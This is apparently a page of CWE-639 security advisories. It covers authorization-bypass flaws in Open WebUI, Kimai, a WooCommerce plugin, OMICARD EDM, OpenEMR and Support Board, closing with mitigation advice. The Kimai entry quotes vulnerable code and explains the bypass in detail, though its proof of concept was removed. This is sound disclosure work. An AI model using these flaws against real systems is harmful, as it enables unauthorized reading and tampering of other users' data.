`has_access_to_file()` should honour `access_type`, so a read grant cannot satisfy the write check used by file deletion.\n\n## Consolidation\n\nPer Open WebUI\u0027s Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:\n\n- Cross-user file READ via a forged `chat_file` association (`GET /api/v1/files/{id}/content`): @0xEr3n. Fixed by #25054, which gates `Chats.insert_chat_files()` so a caller can only link files they own or can read.\n- Cross-user file DELETION via the shared-chat branch ignoring `access_type` (`DELETE /api/v1/files/{id}`): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour `access_type`.\n\nAffected: `\u003c= 0.9.5`. Patched: `\u003e= 0.9.6`. One CVE for the consolidated advisory.",
  "id": "GHSA-vrhc-3fr6-pc3c",
  "modified": "2026-06-17T14:12:20Z",
  "published": "2026-06-17T14:12:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vrhc-3fr6-pc3c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/24755"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/25054"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Forged chat-file link allows cross-user file read and deletion"
}

GHSA-VRR2-G9GH-C3JC

Vulnerability from github – Published: 2026-07-13 23:55 – Updated: 2026-07-13 23:55
VLAI
Summary
Kimai: Timesheet PATCH/POST allows assigning to project outside user's team via query_builder OR-bypass
Details

Summary

The Timesheet API PATCH /api/timesheets/{id} and POST /api/timesheets endpoints accept a user-supplied project ID and resolve it through a Symfony EntityType whose query_builder allows the submitted ID to satisfy the access predicate via an unconditional OR branch. As a result, any authenticated user can re-assign their own timesheet to any project in the database — including projects that belong to teams or customers they have no membership in and cannot otherwise see. The user can then read serialized project/customer details via GET /api/timesheets/{id}?full=true, leaking metadata (name, currency, customer hierarchy) that would otherwise be filtered out by the team ACL.

Details

Entry point — only ownership is checked in src/API/TimesheetController.php:317-355

#[IsGranted('edit', 'timesheet')]
#[Route(methods: ['PATCH'], path: '/{id}', name: 'patch_timesheet', requirements: ['id' => '\d+'])]
public function patchAction(Request $request, Timesheet $timesheet): Response
{
    ...
    $form = $this->createForm(TimesheetApiEditForm::class, $timesheet, [...]);
    $form->setData($timesheet);
    $form->submit($request->request->all(), false);
    if (false === $form->isValid()) { ... }
    $this->service->saveTimesheet($timesheet);
    ...
}

src/Voter/TimesheetVoter.php:134-142:

if ($subject->getUser()?->getId() === $user->getId()) {
    return $this->permissionManager->hasRolePermission($user, $permission . '_own_timesheet');
}

if (!$this->permissionManager->checkTeamAccessTimesheet($subject, $user)) {
    return false;
}

For an own-timesheet, only edit_own_timesheet is required. The voter does not look at the new project being submitted; it only validates the existing record's ownership.

Form replays user-controlled project ID into the access query

src/Form/TimesheetEditForm.php:60-71:

$isNew = true;
if (isset($options['data']) && $options['data'] instanceof Timesheet) {
    ...
    if (null !== $entry->getId()) {
        $isNew = false;
    }
    ...
}
$this->addProject($builder, $isNew, $project, $customer);

src/Form/FormTrait.php:59-100:

$builder->addEventListener(
    FormEvents::PRE_SUBMIT,
    function (FormEvent $event) use ($builder, $project, $customer, $isNew, $options): void {
        $data = $event->getData();
        $customer = \array_key_exists('customer', $data) && $data['customer'] !== '' ? $data['customer'] : null;
        $project = \array_key_exists('project', $data) && $data['project'] !== '' ? $data['project'] : $project;

        $event->getForm()->add('project', ProjectType::class, array_merge($options, [
            'group_by' => null,
            'query_builder' => function (ProjectRepository $repo) use ($builder, $project, $customer, $isNew) {
                $project = \is_string($project) ? (int) $project : $project;
                ...
                if ($isNew && \is_int($project)) {
                    $project = $repo->find($project);
                    if ($project !== null) {
                        if (!$project->getCustomer()->isVisible()) { ... $project = null; }
                        elseif (!$project->isVisible())            { $project = null; }
                    }
                }
                ...
                $query = new ProjectFormTypeQuery($project, $customer);
                $query->setUser($builder->getOption('user'));
                $query->setWithCustomer(true);
                return $repo->getQueryBuilderForFormType($query);
            },
        ]));
    }
);

Two problems compound:

  1. The visibility re-check on line 73 is gated on $isNew. For PATCH, $isNew = false, so the closure passes the attacker-supplied ID straight through.
  2. Even when $isNew = true (POST), the re-check only validates isVisible() — it does not validate team membership.

The query-builder unconditionally accepts the submitted ID

src/Repository/ProjectRepository.php:150-208:

public function getQueryBuilderForFormType(ProjectFormTypeQuery $query): QueryBuilder
{
    ...
    $mainQuery = $qb->expr()->andX();
    $mainQuery->add($qb->expr()->eq('p.visible', ':visible'));
    $mainQuery->add($qb->expr()->eq('c.visible', ':customer_visible'));
    if (!$query->isIgnoreDate()) { ... }
    if ($query->hasCustomers()) { ... }

    $permissions = $this->getPermissionCriteria($qb, $query->getUser(), $query->getTeams());
    if ($permissions->count() > 0) {
        $mainQuery->add($permissions);
    }

    $outerQuery = $qb->expr()->orX();
    if ($query->hasProjects()) {
        $outerQuery->add($qb->expr()->in('p.id', ':project'));     // <-- unconditional
        $qb->setParameter('project', $query->getProjects());
    }
    ...
    $outerQuery->add($mainQuery);
    $qb->andWhere($outerQuery);
    return $qb;
}

The final WHERE clause is roughly:

WHERE (p.id IN (:project)) OR (p.visible AND c.visible AND <date> AND <team-ACL>)

Because :project is the submitted ID itself, the first branch matches unconditionally, completely bypassing the team-ACL applied by getPermissionCriteria. Symfony's EntityType happily resolves the foreign Project entity, the form passes validation, and the timesheet is persisted with the new project_id.

No downstream validation closes the gap

  • TimesheetService::saveTimesheetupdateTimesheet (src/Timesheet/TimesheetService.php:154-177) is explicitly documented as not validating.
  • TimesheetBasicValidator only validates begin/end and project/activity coherence.
  • TimesheetDeactivatedValidator::validateActivityAndProject (src/Validator/Constraints/TimesheetDeactivatedValidator.php:36-42) returns early for non-running existing timesheets.
  • No validator anywhere in the timesheet pipeline checks that the project's team membership intersects the acting user's teams.

A PoC was provided, but removed for security reasons.

Impact

  • Integrity: any authenticated user can attribute their own tracked time to any project ID in the database — including projects belonging to teams/customers they cannot see. This pollutes per-project budgets, billing exports and reports for other teams. There is no in-app warning that records belonging to outsiders have been added.
  • Confidentiality: by reading the timesheet back via ?full=true, the attacker obtains serialized project and customer details (name, currency, start/end dates, customer hierarchy) which would normally be filtered by the team ACL.
  • Privilege model: the edit_own_timesheet permission is part of the default ROLE_USER, so the bypass is reachable by every regular user without any administrator action.

The blast radius is bounded by what an attacker can persist (their own timesheet rows) and what the ?full=true serializer exposes — there is no direct ability to modify other teams' existing data.

Solution

  • The FormTrait was updated to only pass the project forward for new timesheets
  • A new TimesheetTeamAccessValidatorwas added, which checks if project or activity were changed. If that is the case, the team access permission is checked first

Find out more at https://www.kimai.org/en/security/ghsa-vrr2-g9gh-c3jc

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.56.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.57.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-13T23:55:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Timesheet API `PATCH /api/timesheets/{id}` and `POST /api/timesheets` endpoints accept a user-supplied `project` ID and resolve it through a Symfony `EntityType` whose `query_builder` allows the submitted ID to satisfy the access predicate via an unconditional OR branch. As a result, any authenticated user can re-assign their own timesheet to any project in the database \u2014 including projects that belong to teams or customers they have no membership in and cannot otherwise see. The user can then read serialized project/customer details via `GET /api/timesheets/{id}?full=true`, leaking metadata (name, currency, customer hierarchy) that would otherwise be filtered out by the team ACL.\n\n## Details\n\n### Entry point \u2014 only ownership is checked in `src/API/TimesheetController.php:317-355`\n\n```php\n#[IsGranted(\u0027edit\u0027, \u0027timesheet\u0027)]\n#[Route(methods: [\u0027PATCH\u0027], path: \u0027/{id}\u0027, name: \u0027patch_timesheet\u0027, requirements: [\u0027id\u0027 =\u003e \u0027\\d+\u0027])]\npublic function patchAction(Request $request, Timesheet $timesheet): Response\n{\n    ...\n    $form = $this-\u003ecreateForm(TimesheetApiEditForm::class, $timesheet, [...]);\n    $form-\u003esetData($timesheet);\n    $form-\u003esubmit($request-\u003erequest-\u003eall(), false);\n    if (false === $form-\u003eisValid()) { ... }\n    $this-\u003eservice-\u003esaveTimesheet($timesheet);\n    ...\n}\n```\n\n`src/Voter/TimesheetVoter.php:134-142`:\n\n```php\nif ($subject-\u003egetUser()?-\u003egetId() === $user-\u003egetId()) {\n    return $this-\u003epermissionManager-\u003ehasRolePermission($user, $permission . \u0027_own_timesheet\u0027);\n}\n\nif (!$this-\u003epermissionManager-\u003echeckTeamAccessTimesheet($subject, $user)) {\n    return false;\n}\n```\n\nFor an own-timesheet, only `edit_own_timesheet` is required. The voter does **not** look at the *new* project being submitted; it only validates the existing record\u0027s ownership.\n\n### Form replays user-controlled project ID into the access query\n\n`src/Form/TimesheetEditForm.php:60-71`:\n\n```php\n$isNew = true;\nif (isset($options[\u0027data\u0027]) \u0026\u0026 $options[\u0027data\u0027] instanceof Timesheet) {\n    ...\n    if (null !== $entry-\u003egetId()) {\n        $isNew = false;\n    }\n    ...\n}\n$this-\u003eaddProject($builder, $isNew, $project, $customer);\n```\n\n`src/Form/FormTrait.php:59-100`:\n\n```php\n$builder-\u003eaddEventListener(\n    FormEvents::PRE_SUBMIT,\n    function (FormEvent $event) use ($builder, $project, $customer, $isNew, $options): void {\n        $data = $event-\u003egetData();\n        $customer = \\array_key_exists(\u0027customer\u0027, $data) \u0026\u0026 $data[\u0027customer\u0027] !== \u0027\u0027 ? $data[\u0027customer\u0027] : null;\n        $project = \\array_key_exists(\u0027project\u0027, $data) \u0026\u0026 $data[\u0027project\u0027] !== \u0027\u0027 ? $data[\u0027project\u0027] : $project;\n\n        $event-\u003egetForm()-\u003eadd(\u0027project\u0027, ProjectType::class, array_merge($options, [\n            \u0027group_by\u0027 =\u003e null,\n            \u0027query_builder\u0027 =\u003e function (ProjectRepository $repo) use ($builder, $project, $customer, $isNew) {\n                $project = \\is_string($project) ? (int) $project : $project;\n                ...\n                if ($isNew \u0026\u0026 \\is_int($project)) {\n                    $project = $repo-\u003efind($project);\n                    if ($project !== null) {\n                        if (!$project-\u003egetCustomer()-\u003eisVisible()) { ... $project = null; }\n                        elseif (!$project-\u003eisVisible())            { $project = null; }\n                    }\n                }\n                ...\n                $query = new ProjectFormTypeQuery($project, $customer);\n                $query-\u003esetUser($builder-\u003egetOption(\u0027user\u0027));\n                $query-\u003esetWithCustomer(true);\n                return $repo-\u003egetQueryBuilderForFormType($query);\n            },\n        ]));\n    }\n);\n```\n\nTwo problems compound:\n\n1. The visibility re-check on line 73 is gated on `$isNew`. For PATCH, `$isNew = false`, so the closure passes the attacker-supplied ID straight through.\n2. Even when `$isNew = true` (POST), the re-check only validates `isVisible()` \u2014 it does not validate team membership.\n\n### The query-builder unconditionally accepts the submitted ID\n\n`src/Repository/ProjectRepository.php:150-208`:\n\n```php\npublic function getQueryBuilderForFormType(ProjectFormTypeQuery $query): QueryBuilder\n{\n    ...\n    $mainQuery = $qb-\u003eexpr()-\u003eandX();\n    $mainQuery-\u003eadd($qb-\u003eexpr()-\u003eeq(\u0027p.visible\u0027, \u0027:visible\u0027));\n    $mainQuery-\u003eadd($qb-\u003eexpr()-\u003eeq(\u0027c.visible\u0027, \u0027:customer_visible\u0027));\n    if (!$query-\u003eisIgnoreDate()) { ... }\n    if ($query-\u003ehasCustomers()) { ... }\n\n    $permissions = $this-\u003egetPermissionCriteria($qb, $query-\u003egetUser(), $query-\u003egetTeams());\n    if ($permissions-\u003ecount() \u003e 0) {\n        $mainQuery-\u003eadd($permissions);\n    }\n\n    $outerQuery = $qb-\u003eexpr()-\u003eorX();\n    if ($query-\u003ehasProjects()) {\n        $outerQuery-\u003eadd($qb-\u003eexpr()-\u003ein(\u0027p.id\u0027, \u0027:project\u0027));     // \u003c-- unconditional\n        $qb-\u003esetParameter(\u0027project\u0027, $query-\u003egetProjects());\n    }\n    ...\n    $outerQuery-\u003eadd($mainQuery);\n    $qb-\u003eandWhere($outerQuery);\n    return $qb;\n}\n```\n\nThe final WHERE clause is roughly:\n\n```\nWHERE (p.id IN (:project)) OR (p.visible AND c.visible AND \u003cdate\u003e AND \u003cteam-ACL\u003e)\n```\n\nBecause `:project` is the submitted ID itself, the first branch matches unconditionally, completely bypassing the team-ACL applied by `getPermissionCriteria`. Symfony\u0027s `EntityType` happily resolves the foreign `Project` entity, the form passes validation, and the timesheet is persisted with the new `project_id`.\n\n### No downstream validation closes the gap\n\n- `TimesheetService::saveTimesheet` \u2192 `updateTimesheet` (`src/Timesheet/TimesheetService.php:154-177`) is explicitly documented as *not* validating.\n- `TimesheetBasicValidator` only validates begin/end and project/activity coherence.\n- `TimesheetDeactivatedValidator::validateActivityAndProject` (`src/Validator/Constraints/TimesheetDeactivatedValidator.php:36-42`) returns early for non-running existing timesheets.\n- No validator anywhere in the timesheet pipeline checks that the project\u0027s team membership intersects the acting user\u0027s teams.\n\n*A PoC was provided, but removed for security reasons.*\n\n## Impact\n\n- **Integrity:** any authenticated user can attribute their own tracked time to any project ID in the database \u2014 including projects belonging to teams/customers they cannot see. This pollutes per-project budgets, billing exports and reports for other teams. There is no in-app warning that records belonging to outsiders have been added.\n- **Confidentiality:** by reading the timesheet back via `?full=true`, the attacker obtains serialized project and customer details (name, currency, start/end dates, customer hierarchy) which would normally be filtered by the team ACL.\n- **Privilege model:** the `edit_own_timesheet` permission is part of the default ROLE_USER, so the bypass is reachable by every regular user without any administrator action.\n\nThe blast radius is bounded by what an attacker can persist (their own timesheet rows) and what the `?full=true` serializer exposes \u2014 there is no direct ability to modify other teams\u0027 existing data.\n\n## Solution\n\n- The FormTrait was updated to only pass the project forward for new timesheets\n- A new `TimesheetTeamAccessValidator`was added, which checks if `project` or `activity` were changed. If that is the case, the team access permission is checked first\n\nFind out more at [https://www.kimai.org/en/security/ghsa-vrr2-g9gh-c3jc](https://www.kimai.org/en/security/ghsa-vrr2-g9gh-c3jc)",
  "id": "GHSA-vrr2-g9gh-c3jc",
  "modified": "2026-07-13T23:55:35Z",
  "published": "2026-07-13T23:55:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-vrr2-g9gh-c3jc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kimai: Timesheet PATCH/POST allows assigning to project outside user\u0027s team via query_builder OR-bypass"
}

GHSA-VRV9-62RJ-7748

Vulnerability from github – Published: 2023-03-20 18:30 – Updated: 2023-03-23 21:30
VLAI
Details

The WooCommerce Multiple Customer Addresses & Shipping WordPress plugin before 21.7 does not ensure that the address to add/update/retrieve/delete and duplicate belong to the user making the request, or is from a high privilege users, allowing any authenticated users, such as subscriber to add/update/duplicate/delete as well as retrieve addresses of other users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-0865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-20T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The WooCommerce Multiple Customer Addresses \u0026 Shipping WordPress plugin before 21.7 does not ensure that the address to add/update/retrieve/delete and duplicate belong to the user making the request, or is from a high privilege users, allowing any authenticated users, such as subscriber to add/update/duplicate/delete as well as retrieve addresses of other users.",
  "id": "GHSA-vrv9-62rj-7748",
  "modified": "2023-03-23T21:30:21Z",
  "published": "2023-03-20T18:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0865"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/e39c0171-ed4a-4143-9a31-c407e3555eec"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRWP-QQHW-75C3

Vulnerability from github – Published: 2026-06-04 03:30 – Updated: 2026-06-04 03:30
VLAI
Details

OMICARD EDM developed by ITPison has a Insecure Direct Object Reference vulnerability, allowing unauthenticated remote attackers to modify a specific parameter to obtain user's email address.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-10597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T03:16:19Z",
    "severity": "MODERATE"
  },
  "details": "OMICARD EDM developed by ITPison has a Insecure Direct Object Reference vulnerability, allowing unauthenticated remote attackers to modify a specific parameter to obtain user\u0027s email address.",
  "id": "GHSA-vrwp-qqhw-75c3",
  "modified": "2026-06-04T03:30:22Z",
  "published": "2026-06-04T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10597"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10948-78864-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10947-027a7-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VRXH-2FG8-68V6

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12
VLAI
Details

OpenEMR 6.0.0 has a pnotes_print.php?noteid= Insecure Direct Object Reference vulnerability via which an attacker can read the messages of all users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-40352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-532",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-01T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "OpenEMR 6.0.0 has a pnotes_print.php?noteid= Insecure Direct Object Reference vulnerability via which an attacker can read the messages of all users.",
  "id": "GHSA-vrxh-2fg8-68v6",
  "modified": "2022-05-24T19:12:48Z",
  "published": "2022-05-24T19:12:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40352"
    },
    {
      "type": "WEB",
      "url": "https://github.com/allenenosh/CVE-2021-40352"
    },
    {
      "type": "WEB",
      "url": "https://www.open-emr.org/wiki/index.php/Securing_OpenEMR"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/164011/OpenEMR-6.0.0-Insecure-Direct-Object-Reference.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VV4W-9VMX-JMWP

Vulnerability from github – Published: 2025-07-09 00:30 – Updated: 2025-07-09 00:30
VLAI
Details

The Support Board plugin for WordPress is vulnerable to unauthorized access/modification/deletion of data due to use of hardcoded default secrets in the sb_encryption() function in all versions up to, and including, 3.8.0. This makes it possible for unauthenticated attackers to bypass authorization and execute arbitrary AJAX actions defined in the sb_ajax_execute() function. An attacker can use this vulnerability to exploit CVE-2025-4828 and various other functions unauthenticated.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-4855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-09T00:15:47Z",
    "severity": "CRITICAL"
  },
  "details": "The Support Board plugin for WordPress is vulnerable to unauthorized access/modification/deletion of data due to use of hardcoded default secrets in the sb_encryption() function in all versions up to, and including, 3.8.0. This makes it possible for unauthenticated attackers to bypass authorization and execute arbitrary AJAX actions defined in the sb_ajax_execute() function. An attacker can use this vulnerability to exploit CVE-2025-4828 and various other functions unauthenticated.",
  "id": "GHSA-vv4w-9vmx-jmwp",
  "modified": "2025-07-09T00:30:34Z",
  "published": "2025-07-09T00:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4855"
    },
    {
      "type": "WEB",
      "url": "https://codecanyon.net/item/support-board-help-desk-and-chat/20359943"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afd48bc8-d490-4a3e-97fc-70cf008cbf66?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.